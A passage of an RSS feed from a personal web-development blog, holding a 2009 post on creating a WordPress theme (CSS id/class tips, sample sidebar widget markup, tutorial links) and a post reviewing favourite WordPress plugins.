				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Fcreating-a-wordpress-theme%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>If you&#8217;ve already got some design chops and a WordPress blog, but you find the idea of turning it into a WordPress template a bit daunting, you&#8217;re not alone. Creating your own WordPress theme is actually easier than you might imagine, and although some PHP-fu is certainly helpful, you don&#8217;t need to be a PHP rockstar to pull off an amazing template design. <span id="more-847"></span></p>
<p>Creating your own WordPress theme will allow you to break out of free (or commercial) templates that mean your blog invariably looks just like hundreds (if not thousands) of other blogs out there using the same theme. Plus, once you&#8217;ve created a few and feel pretty comfortable, you can potentially take on paid work customizing WordPress templates, create commercial templates to sell to people less brave than you, or offer free templates on your website as a way to draw traffic to your blog.</p>
<h2>Getting Started</h2>
<p>First things first, if you have something designed already, I strongly urge you to code it out into (X)HTML before even looking at a WordPress theme tutorial. Trying to wrangle style sheets while trying to grok the theme structure might be a bit much, so you&#8217;ll be ahead of the game if you&#8217;ve already got your design and (X)HTML coding done. (If you&#8217;re unsure about how to code a table-free layout, using only CSS, check out our article, <strong><a href="http://www.snipe.net/2008/12/getting-started-all-css-website-layout/" target="_blank">Making the Leap to All-CSS Layout</a></strong>.)</p>
<p>One thing to keep in mind as you&#8217;re slicing and dicing your design and beginning your layout coding, there are some commonly used CSS element names in most WordPress themes that you may want to use in your code. Chance are, you&#8217;re not going to be creating every single template file from scratch, but rather, reusing a sample or tutorial template. Keeping the element names consistent will make this much easier in the long run. The template classes often used are:</p>
<ol>
<li>#wrapper (holds the entire layout except the footer)</li>
<li>#header (header part, including top page navigation)</li>
<li>#content (container that holds your main page content and sidebar)</li>
<li>#left-col (for the posting area, comment section and respond section)</li>
<li>#right-col (your sidebar)</li>
<li>#footer (footer)</li>
</ol>
<h2>Quick Note on CSS</h2>
<p>Notice that we&#8217;re using element ids instead of classes in the list above. This is because classes (such as li.foo or .foo) are meant to be reusable. CSS id elements (such as #foo) are only used once in a page, and since these primary elements are never re-used on the page, we use ids instead of classes. Using ids instead of classes will make inheritance much easier and will speed up your development time.</p>
<p>Just as a reminder to CSS-newbies, if you have an element defined with an id (as opposed to a class), its very easy to control large groups of child class elements. For example, something like this:</p>
<pre class="brush: html">&lt;div id=&quot;nav&quot;&gt;
&lt;ul&gt;
&lt;li&gt;Nav Item 1&lt;/li&gt;
&lt;li&gt;Nav Item 2&lt;/li&gt;
&lt;li&gt;Nav Item 3&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</pre>
<p>To apply a style to all of the list item elements inside of the div with the id of &#8220;nav&#8221;, you simply use this:</p>
<pre class="brush: css">#nav li {
color: white;
}</pre>
<p>This would turn all of the text in your list items elements white. You can further define specifics by combining ids and classes, like:</p>
<pre class="brush: css">#nav li.widget {
color: green;
}</pre>
<p>That will cause the text in all of your list items with the class of &#8220;widget&#8221; within the &#8220;nav&#8221; div to turn green. Easy, right? I bring this up here (and my apologizes to anyone reading this who already understands the relationship between id and class) is because your WordPress HTML/CSS will be much cleaner and easier to work with if you take this approach.</p>
<h2>Moving On&#8230;</h2>
<p>While I could spend the time writing my own tutorial from scratch here, a few other people have already written ones that kick the crap out of anything I could come up with, so I&#8217;ll leave the actual nuts and bolts to them. A few tutorials really stand out from the rest. Some of these tutorials are pretty complicated and involved, while others work with only the basics to avoid confusing the reader with too much information.</p>
<p><strong><a href="http://nettuts.com/site-builds/how-to-create-a-wordpress-theme-from-scratch/" target="_blank">How to Create a WordPress Theme from Scratch</a></strong>, brought to you by <a href="http://nettuts.com/" target="_blank">NetTuts</a>, does exactly this, taking a very simple approach that may be particularly helpful with people still perfecting their CSS-fu. At the end of the tutorial, you end up with a plain, but functional, place to start that includes all of the basic functionality your blog will need, without overloading it with design elements that might be confusing.</p>
<p><strong><a href="http://themetation.com/2008/07/14/how-to-create-wordpress-themes-from-scratch-part-1/" target="_blank">How to Create a WordPress Theme from Scratch</a></strong>, brought to you by <a href="http://themetation.com" target="_blank">ThemeTation</a>, is an incredibly comprehensive tutorial that starts with actually designing, slicing and coding the PSD file. It might be a little much for someone who already knows how to slice and dice their PSDs into submission, but <a href="http://themetation.com/2008/07/17/how-to-create-wordpress-themes-from-scratch-part-3a/" target="_blank">part 3a</a> starts at actual implementation into WordPress. While this tutorial is a bit long, it gives you a start-to-finish walkthrough that may be very helpful to some.</p>
<p><strong><a href="http://www.wpdesigner.com/2007/02/19/so-you-want-to-create-wordpress-themes-huh/" target="_blank">So You Want to Create WordPress Themes, Huh?</a></strong>, brought to you by <a href="http://www.wpdesigner.com" target="_blank">WPDesigner</a>, is a bit of a middle ground of the first two tutorials listed. It&#8217;s very comprehensive, but it assumes that you&#8217;ve already got the layout slicing mostly covered, so the real focus is on WordPress theme structure and functionality.</p>
<p>There is even a <strong><a href="http://css-tricks.com/designing-for-wordpress-complete-series-downloads/" target="_blank">three-part video screencast tutorial</a></strong> available on the <a href="http://css-tricks.com/" target="_blank">CSS-Tricks website</a>. Pack a lunch, as the complete series is <em>over two hours long</em>, but Chris does a great job addressing theme creation from start to finish. They also provide the demo theme created in the video as a download, so you can play along.</p>
<h2>A Word on Widgets</h2>
<p>Plugins are arguably the best part of WordPress. Chances are, if you want your blog to have some special feature or function, someone has already created a plugin that does it. Not all plugins are widget-ready, but the ones that are usually use the same CSS containers, so that they will fit seamessly into your page design. (Not all widgets do this, which can be a pain in the ass, but you should plan for the standard and fix the ones that don&#8217;t comply.</p>
<p>The standard WordPress sidebar widget CSS looks something like this:</p>
<pre class="brush: html">&lt;div id=&quot;sidebar&quot;&gt;
&lt;ul&gt;
&lt;li class=&quot;widget&quot;&gt;
&lt;h2&gt;Widget Name&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Widget content 1&lt;/li&gt;
&lt;li&gt;Widget content 2&lt;/li&gt;
&lt;li&gt;Widget content 2&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</pre>
<p>Because this is a semi-standard format, you might want to consider coding your HTML in this way, so you have a better chance of widgets fitting into your site&#8217;s style right out of the box. It won&#8217;t work every time, but it often does, and I wish I had realized that when I first got started.</p>
<h2>Next Steps</h2>
<p>As usual, I tend to recommend that you actually follow the steps in these tutorials, one by one as you go. I&#8217;m a hands-on learner, so nothing makes information stick in my brain better than actually getting into the muck of it.</p>
<p>Personally, when I learned to make WordPress themes, I started with the simplest tutorials listed above, and then opened the default theme that comes with WordPress, copied it, installed my new copy under a new name, and used that as the place to start. Once I felt pretty confident there, I poked around in some of the more complicated themes, to see how they did what they do. Start simple &#8211; don&#8217;t try to conquer the world of WordPress your first time. The more comfortable you get with the structure and functions, the more great ideas you&#8217;ll have on what you can do with your blog.</p>
<p>When you&#8217;re ready to get more advanced, check out the <strong><a href="http://codex.wordpress.org/Main_Page" target="_blank">WordPress Codex</a></strong>, that explains what each function within WordPress does, usually with detailed examples and documentation. If you start to get fancy with your WordPress queries, specifically with regard to specifying posts from only one (or more) categories, or all posts from one (or more) categories except the one you specify, the <a href="http://codex.wordpress.org/Template_Tags/query_posts" target="_blank">Template Tags &#8211; Query page</a> in the codex will be your new best friend. The forums are also a great place to get answers to a specific question.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/01/essential-wordpress-plugins/' rel='bookmark' title='Permanent Link: Essential WordPress Plugins'>Essential WordPress Plugins</a> <small>Many WordPress bloggers have taken the time to share the...</small></li>
<li><a href='http://www.snipe.net/2009/12/comment-count-bug-disqus/' rel='bookmark' title='Permanent Link: Fixing Comment Count Bug in Disqus on WordPress'>Fixing Comment Count Bug in Disqus on WordPress</a> <small>My final post for 2009 should probably have been more...</small></li>
<li><a href='http://www.snipe.net/2009/02/photoshop-tutorials-that-will-change-your-life/' rel='bookmark' title='Permanent Link: Photoshop Tutorials That Will Change Your Life'>Photoshop Tutorials That Will Change Your Life</a> <small>Photoshop tutorials are a dime a dozen, and simply googling...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2009/01/creating-a-wordpress-theme/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Essential WordPress Plugins</title>
		<link>http://www.snipe.net/2009/01/essential-wordpress-plugins/</link>
		<comments>http://www.snipe.net/2009/01/essential-wordpress-plugins/#comments</comments>
		<pubDate>Thu, 08 Jan 2009 22:29:45 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Geek Life]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=837</guid>
		<description><![CDATA[Many WordPress bloggers have taken the time to share the WordPress plugins they can&#8217;t live without, and because I&#8217;ve found some of my favorites that way, I&#8217;ve decided to do the same. These plugins may not be right for everyone, but they&#8217;re the ones I use on this site. It&#8217;s easy for people to get [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Fessential-wordpress-plugins%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2009%2F01%2Fessential-wordpress-plugins%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>Many WordPress bloggers have taken the time to share the WordPress plugins they can&#8217;t live without, and because I&#8217;ve found some of my favorites that way, I&#8217;ve decided to do the same. These plugins may not be right for everyone, but they&#8217;re the ones I use on this site. It&#8217;s easy for people to get carried away with plugins, installing everything they find, bringing their blog to a crawl. Hopefully, these suggestions will help you focus on quality, not quantity.</p>
<p><span id="more-837"></span></p>
<h2>Don&#8217;t Blog Without Them!</h2>
<p><strong><a href="http://akismet.com/" target="_blank">Askimet</a></strong> (spam control) &#8211; This probably goes without saying, but I simply wouldn&#8217;t have commenting on my blog if not for Askimet. Excellent spam-prevention, I&#8217;ve had no false negatives, and only a small handful of false positives that took no time at all to mark as spam and send into the ether.</p>
<p><strong><a href="http://txfx.net/code/wordpress/subscribe-to-comments/" target="_blank">Subscribe to Comments</a></strong> &#8211; seriously, I cannot believe this plugin isn&#8217;t part of the WordPress core. It&#8217;s absolutely one of the most important plugins you can have.Â  Users can subscribe to blog posts and they will receive an e-mail when someone replies to the post. I can&#8217;t even count how may times I have forgotten to check back on a blog I commented on just because they fell off my radar. This plugin also allows admins to manage all subscriptions, and allows users to unsubscribe from updates very easily.</p>
<p><a href="http://wordpress.org/extend/plugins/wp-super-cache/" target="_blank"><strong>WP-Supercache</strong></a> &#8211; Fantastic page-caching system to improve performance of your blog, even under heavier traffic. Comes with configuration options, and you can easily toggle whether its enabled or disabled if you need to test something that&#8217;s cached.</p>
<h2>Almost as Awesome &#8211; User/Commenting</h2>
<p><strong><a href="http://www.commentluv.com/download/" target="_blank">CommentLuv</a></strong> &#8211; This plugin gives some comment love back to the people who reply to your posts, showing the title and link to their most recent post on their own along with their comment.</p>
<p><strong><a href="http://www.fiddyp.co.uk/wp-twitip-id-plugin-add-a-twitter-field-to-your-comment-form-easily/" target="_blank">TwitID</a></strong> &#8211; Let&#8217;s users post their Twitter ID with their blog comments.</p>
<p><strong><a href="http://www.pfadvice.com/wordpress-plugins/show-top-commentators/" target="_blank">Show Top Commentators</a></strong> &#8211; Give some love to the people who comment on your blog the most. I&#8217;ve had no trouble with this one, but some blog owners have expressed concern about it inviting an onslaught of &#8220;nice post&#8221; bullshit comments to boost a commenter&#8217;s reply count. I imagine it really depends on your audience, and how douchy they are. If it becomes a problem here, I&#8217;ll pull it, but it&#8217;s worked out nicely so far.</p>
<p><strong><a href="http://unfoldingneurons.com/neurotic-plugins/organize-series-wordpress-plugin" target="_blank">Organize Series</a></strong> (article series organizer) &#8211; I just came across this plugin fairly recently, and its <em>exactly</em> what I was looking for. If you find yourself writing multi-part articles or tutorials, this is the plugin for you.Â  It&#8217;s easy to use, and let&#8217;s you associate articles to a series right from the post edit screen.Â  For an example of the series overview page, <a href="http://www.snipe.net/series/planning-a-facebook-application/" target="_blank">click here</a>. The widget is all-CSS based, so its a breeze to make it fit into your look+feel.</p>
<h2>Almost as Awesome &#8211; Content</h2>
<p><strong><a href="http://www.philhord.com/phord/adsense-inline-with-wordpress-blog-posts/" target="_blank">Adsense Inline</a></strong> (advertising) &#8211; This little plugin adds the ability to insert your Google Adwords into the content of your post. I no longer use it, but not because it didn&#8217;t work. It did exactly what it promised, I just changed the placement of ads in the site.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/all-in-one-seo-pack/" target="_blank">All In One SEO</a></strong> (search engine optimization) &#8211; Nice little plugin that optimizes your WordPress blog for Search Engines, optimizing your title tags and generating meta information automagically based on post content.</p>
<p><strong><a href="http://eightface.com/wordpress/flickrrss/" target="_blank">FlickRSS</a></strong> (flickr plugin) &#8211; Sweet little plugin that lets you display photos from your flickr account in the sidebar of your blog. I don&#8217;t use this one anymore, but only because I&#8217;m trying to keep the length of the sidebar down. I&#8217;ve used this plugin for a while and it&#8217;s worked great.</p>
<p><a href="http://www.beyondcoding.com/2007/12/16/release-wordpress-plugin-syntaxhighlighter-plus/" target="_blank"><strong>Syntax Highlighter</strong></a> (code syntax highlighter) &#8211; I <em>love</em> this plugin. I&#8217;ve tried other code syntax highlighting plugins and none were as nice looking and featured. This one allows users to click on a link in every snippet of source code that allows them to copy+paste the code you&#8217;re highlighting without the line breaks and number formatting. One thing to note, however, I have run into issues using this plugin in visual mode, where it actually echos out the highlighting CSS in the editor &#8211; works like a dream in HTML mode though.</p>
<p><strong><a href="http://mtdewvirus.com/code/wordpress-plugins/" target="_blank">Most Commented</a></strong> &#8211; This simple plugin allows you to display a list of the most commented posts. Quick and easy, the way plugins should be. Also check out some of the other plugins available on the MtDewVirus site &#8211; some of them look handy.</p>
<p><strong><a href="http://alexrabe.boelinger.com/wordpress-plugins/nextgen-gallery/" target="_blank">NextGEN</a></strong> (image gallery) &#8211; This plugin is probably one of the most well done and well-established out of the box image gallery plugins. It can be a little clumsy to use, but it&#8217;s easy enough to get the hang of. NetGEN offers some nice, sophisticated features such as thickbox integration, a built-in flash slideshow, widget support and dynamic watermarking.</p>
<p><strong><a href="http://wordpress.org/extend/plugins/w-popularity/" target="_blank">wPopularity</a></strong> &#8211; This plugin is no longer supported, and may cause an &#8220;table doesn&#8217;t exist&#8221; error when you try to install it &#8211; but the <a href="http://alexander.holbreich.org/2008/02/wpopularity-plug-in/#comment-3144" target="_blank">workaround to the error is posted here</a>. That said, it works great, and once the database schema fix was applied, it&#8217;s worked perfectly. You can see this one at work in the right sidebar of this site.</p>
<p><strong><a href="http://mitcho.com/code/yarpp/" target="_blank">Yet Another Related Posts Plugin</a> </strong>(YARP) &#8211; Shows related posts at the bottom of every article. This plugin comes with lots of configuration options that determine how keywords, titles, excerpts, etc should be weighted when calculating the most relevent posts to display. And I think they finally stopped turning the &#8220;Give YARP credit&#8221; option every time an upgrade was done, which is nice.</p>
<p><strong><a href="http://www.zombierobot.com/wp-quotes/" target="_blank">Random Quote</a></strong> &#8211; displays a random quote on your sidebar via widget. Admin allows you to add/edit/remove quotes. I use this one for the &#8220;Random Tidbit&#8221; box in this site&#8217;s sidenav.</p>
<p><strong><a href="http://dougal.gunters.org/blog/2005/03/09/theme-preview-plugin" target="_blank">Theme Preview</a> </strong>- Great, lightweight plugin that is essential if you&#8217;re developing a new theme for an active WordPress blog. With this plugin, you can preview the entire WordPress page in whatever theme you&#8217;re working on. It made the redesign of this site so much easier.</p>
<h2>Almost as Awesome &#8211; Social Networks &amp; Other Blogs</h2>
<p><strong><a href="http://www.tahapaksu.com/wordpress/lastfm-wordpress-plugin" target="_blank">Last.Fm RPS</a></strong> (last.fm feed display) &#8211; I admit I did a little hacking on this one, but only because I needed something very specific from the display. This is the plugin that powers the &#8220;Latest Tracks on Last.Fm&#8221; sidebar block, although it doesn&#8217;t do the fancy cd-image overlay out of the box (that was a CSS hack I came up with.)</p>
<p><strong><a href="http://code.google.com/p/ljxp/" target="_blank">LJXP</a></strong> (Livejournal crossposting) &#8211; Nifty plugin that lets me choose to automagically crosspost my blog artcles to my Livejournal account. While it&#8217;s nice and simple, it allows you to configure several options, including the default behavior for comments, how it should handle Livejournal cuts, and so on.</p>
<p><strong><a href="http://alexking.org/projects/wordpress" target="_blank">Twitter Tools</a> </strong>- Displays your most recent Twitter posts, either by way of php code or widget. This plugin powers the &#8220;last tweet&#8221; featured in this site&#8217;s header, and the most recent tweets list in the footer. It comes with some configurable options, such as ignoring @replies. The date still seems a little jacked up, with most recent posts showing up as having been posted 3 weeks ago, but I haven&#8217;t had time to investigate the issue. I&#8217;m sure it&#8217;s just a date conversion/localization issue.</p>
<p><strong><a href="http://yoast.com/wordpress/sociable/" target="_blank">Sociable</a></strong> &#8211; Adds the handy set of social network icons at the bottom of every post/page. Comes with a huge list of available networks &#8211; you can choose which to include in your setup.</p>
<p>So, those are my favs &#8211; did I miss any? Share your favorites in the comments.</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/12/comment-count-bug-disqus/' rel='bookmark' title='Permanent Link: Fixing Comment Count Bug in Disqus on WordPress'>Fixing Comment Count Bug in Disqus on WordPress</a> <small>My final post for 2009 should probably have been more...</small></li>
<li><a href='http://www.snipe.net/2009/01/creating-a-wordpress-theme/' rel='bookmark' title='Permanent Link: Creating A WordPress Theme'>Creating A WordPress Theme</a> <small>If you&#8217;ve already got some design chops and a WordPress...</small></li>
<li><a href='http://www.snipe.net/2010/06/upgrading-to-wordpress-3/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 3.0 and Adding Multi-Site'>Upgrading to WordPress 3.0 and Adding Multi-Site</a> <small>WordPress 3.0, code name “Thelonious”, has been released, and it...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2009/01/essential-wordpress-plugins/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
	</channel>
</rss>
